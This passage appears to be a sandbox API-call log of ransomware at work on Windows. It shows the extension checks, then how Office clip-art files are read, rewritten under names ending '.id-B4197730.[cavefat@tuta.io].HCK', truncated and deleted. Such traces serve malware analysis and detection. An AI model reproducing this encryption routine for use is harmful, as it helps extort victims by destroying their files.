(lpString=".pdf") returned 4 [0238.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.263] lstrlenW (lpString=".xls") returned 4 [0238.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.263] lstrlenW (lpString=".xlsx") returned 5 [0238.263] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0238.263] lstrlenW (lpString=".ppt") returned 4 [0238.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.263] lstrlenW (lpString=".zip") returned 4 [0238.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.264] lstrlenW (lpString=".rar") returned 4 [0238.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.264] lstrlenW (lpString=".bz2") returned 4 [0238.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.264] lstrlenW (lpString=".7z") returned 3 [0238.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.264] lstrlenW (lpString=".dbf") returned 4 [0238.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.264] lstrlenW (lpString=".1cd") returned 4 [0238.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.264] lstrlenW (lpString=".jpg") returned 4 [0238.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.264] lstrlenW (lpString=".doc") returned 4 [0238.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.605] lstrlenW (lpString=".docx") returned 5 [0238.605] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0238.605] lstrlenW (lpString=".pdf") returned 4 [0238.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.605] lstrlenW (lpString=".xls") returned 4 [0238.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.605] lstrlenW (lpString=".xlsx") returned 5 [0238.616] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0238.616] lstrlenW (lpString=".ppt") returned 4 [0238.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.616] lstrlenW (lpString=".zip") returned 4 [0238.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.627] lstrlenW (lpString=".rar") returned 4 [0238.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.627] lstrlenW (lpString=".bz2") returned 4 [0238.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.627] lstrlenW (lpString=".7z") returned 3 [0238.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.636] lstrlenW (lpString=".dbf") returned 4 [0238.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.636] lstrlenW (lpString=".1cd") returned 4 [0238.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.636] lstrlenW (lpString=".jpg") returned 4 [0238.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.637] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.637] lstrlenW (lpString="J0153305.WMF") returned 12 [0238.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0239.230] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=38488) returned 1 [0239.230] CloseHandle (hObject=0x4d4) returned 1 [0239.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 0x220 [0239.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0240.393] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.393] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0240.507] GetLastError () returned 0x0 [0240.507] ReadFile (in: hFile=0x4b0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x9658, lpOverlapped=0x0) returned 1 [0240.509] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x9660, lpOverlapped=0x0) returned 1 [0240.511] ReadFile (in: hFile=0x4b0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.511] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.511] SetEndOfFile (hFile=0x340) returned 1 [0240.511] CloseHandle (hObject=0x340) returned 1 [0240.511] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.511] SetEndOfFile (hFile=0x4b0) returned 1 [0240.514] CloseHandle (hObject=0x4b0) returned 1 [0240.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 1 [0241.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.380] lstrlenW (lpString=".doc") returned 4 [0241.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.380] lstrlenW (lpString=".docx") returned 5 [0241.380] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0241.380] lstrlenW (lpString=".pdf") returned 4 [0241.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.380] lstrlenW (lpString=".xls") returned 4 [0241.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.380] lstrlenW (lpString=".xlsx") returned 5 [0241.380] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0241.380] lstrlenW (lpString=".ppt") returned 4 [0241.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.380] lstrlenW (lpString=".zip") returned 4 [0241.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.380] lstrlenW (lpString=".rar") returned 4 [0241.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.380] lstrlenW (lpString=".bz2") returned 4 [0241.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.380] lstrlenW (lpString=".7z") returned 3 [0241.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString=".dbf") returned 4 [0241.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString=".1cd") returned 4 [0241.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString=".jpg") returned 4 [0241.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString=".doc") returned 4 [0241.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString=".docx") returned 5 [0241.381] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0241.381] lstrlenW (lpString=".pdf") returned 4 [0241.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString=".xls") returned 4 [0241.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.381] lstrlenW (lpString=".xlsx") returned 5 [0241.381] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0241.381] lstrlenW (lpString=".ppt") returned 4 [0241.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString=".zip") returned 4 [0241.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.381] lstrlenW (lpString=".rar") returned 4 [0241.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString=".bz2") returned 4 [0241.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString=".7z") returned 3 [0241.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString=".dbf") returned 4 [0241.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString=".1cd") returned 4 [0241.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0241.381] lstrlenW (lpString=".jpg") returned 4 [0241.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.381] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.382] lstrlenW (lpString="J0178460.JPG") returned 12 [0241.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.382] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=26531) returned 1 [0241.382] CloseHandle (hObject=0x544) returned 1 [0241.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 0x220 [0241.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.383] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.383] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0241.384] GetLastError () returned 0x0 [0241.384] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x67a3, lpOverlapped=0x0) returned 1 [0241.386] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0241.389] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.389] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.389] SetEndOfFile (hFile=0x3c4) returned 1 [0241.389] CloseHandle (hObject=0x3c4) returned 1 [0241.389] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.389] SetEndOfFile (hFile=0x544) returned 1 [0241.392] CloseHandle (hObject=0x544) returned 1 [0241.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 1 [0241.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.393] lstrlenW (lpString=".doc") returned 4 [0241.393] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.393] lstrlenW (lpString=".docx") returned 5 [0241.393] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0241.393] lstrlenW (lpString=".pdf") returned 4 [0241.393] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.393] lstrlenW (lpString=".xls") returned 4 [0241.393] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString=".xlsx") returned 5 [0241.394] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0241.394] lstrlenW (lpString=".ppt") returned 4 [0241.394] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.394] lstrlenW (lpString=".zip") returned 4 [0241.394] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString=".rar") returned 4 [0241.394] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString=".bz2") returned 4 [0241.394] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.394] lstrlenW (lpString=".7z") returned 3 [0241.394] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.394] lstrlenW (lpString=".dbf") returned 4 [0241.394] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.394] lstrlenW (lpString=".1cd") returned 4 [0241.394] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.394] lstrlenW (lpString=".jpg") returned 4 [0241.394] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.394] lstrlenW (lpString=".doc") returned 4 [0241.394] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.394] lstrlenW (lpString=".docx") returned 5 [0241.394] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0241.394] lstrlenW (lpString=".pdf") returned 4 [0241.394] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString=".xls") returned 4 [0241.394] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString=".xlsx") returned 5 [0241.394] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0241.394] lstrlenW (lpString=".ppt") returned 4 [0241.394] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.394] lstrlenW (lpString=".zip") returned 4 [0241.394] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString=".rar") returned 4 [0241.394] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.394] lstrlenW (lpString=".bz2") returned 4 [0241.395] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.395] lstrlenW (lpString=".7z") returned 3 [0241.395] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.395] lstrlenW (lpString=".dbf") returned 4 [0241.395] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.395] lstrlenW (lpString=".1cd") returned 4 [0241.395] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0241.395] lstrlenW (lpString=".jpg") returned 4 [0241.395] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.395] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.395] lstrlenW (lpString="J0178523.JPG") returned 12 [0241.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.396] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=24034) returned 1 [0241.396] CloseHandle (hObject=0x544) returned 1 [0241.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg")) returned 0x220 [0241.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.397] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.397] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0241.398] GetLastError () returned 0x0 [0241.398] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x5de2, lpOverlapped=0x0) returned 1 [0241.399] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x5df0, lpOverlapped=0x0) returned 1 [0241.400] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.400] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.400] SetEndOfFile (hFile=0x3c4) returned 1 [0241.400] CloseHandle (hObject=0x3c4) returned 1 [0241.401] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.401] SetEndOfFile (hFile=0x544) returned 1 [0241.402] CloseHandle (hObject=0x544) returned 1 [0241.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg")) returned 1 [0241.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.404] lstrlenW (lpString=".doc") returned 4 [0241.404] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.404] lstrlenW (lpString=".docx") returned 5 [0241.404] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0241.404] lstrlenW (lpString=".pdf") returned 4 [0241.404] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.404] lstrlenW (lpString=".xls") returned 4 [0241.404] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.404] lstrlenW (lpString=".xlsx") returned 5 [0241.404] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0241.404] lstrlenW (lpString=".ppt") returned 4 [0241.404] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.404] lstrlenW (lpString=".zip") 